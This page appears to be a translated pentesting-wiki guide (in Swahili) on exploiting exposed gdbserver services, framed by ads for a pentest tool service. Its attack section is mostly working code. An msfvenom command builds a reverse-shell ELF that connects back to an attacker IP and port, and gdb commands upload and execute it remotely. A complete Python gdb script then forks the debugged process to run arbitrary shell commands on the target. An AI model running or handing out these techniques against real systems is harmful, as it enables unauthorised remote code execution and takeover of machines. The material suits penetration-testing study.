Pentesting Remote GdbServer

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Usanidi uliopo mara moja kwa tathmini ya udhaifu na upimaji wa kuingilia. Tekeleza pentest kamili kutoka mahali popote na zana na huduma 20+ ambazo zinaanza kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapenzi wa pentest - tunatengeneza zana za desturi, moduli za ugunduzi na uvamizi ili kuwapa muda wa kuchimba kwa kina, kuvunja kabati, na kufurahi.

{% embed url="https://pentest-tools.com/" %}

Taarifa Msingi

gdbserver ni zana inayowezesha udukuzi wa programu kwa njia ya kijijini. Inakimbia pamoja na programu inayohitaji udukuzi kwenye mfumo huo huo, unaojulikana kama "lengo." Usanidi huu unaruhusu GNU Debugger kuunganisha kutoka kwenye kompyuta tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu inayodukuliwa zimehifadhiwa. Uunganisho kati ya gdbserver na debugger unaweza kufanywa kupitia TCP au mstari wa serial, kuruhusu usanidi wa udukuzi wa kubadilika.

Unaweza kufanya gdbserver isikilize kwenye bandari yoyote na wakati huu nmap haiwezi kutambua huduma hiyo.

Udukuzi

Pakia na Tekeleza

Unaweza kwa urahisi kuunda mlango wa nyuma wa elf na msfvenom, kuipakia na kuitekeleza:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Tekeleza amri za kiholela

Kuna njia nyingine ya kufanya kihariri tekeleze amri za kiholela kupitia scripti ya kawaida ya python iliyopatikana hapa.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Kwanza kabisa unda skripti hii kwenye kompyuta yako:

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

Usanidi uliopo mara moja kwa ajili ya tathmini ya udhaifu na upenyezaji. Fanya upenyezaji kamili kutoka mahali popote na zana na huduma zaidi ya 20 ambazo zinaanza kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapenyezaji - tunatengeneza zana za desturi, moduli za ugunduzi na uvamizi ili kuwapa muda wa kuchimba kwa kina, kuvunja mfumo, na kufurahi.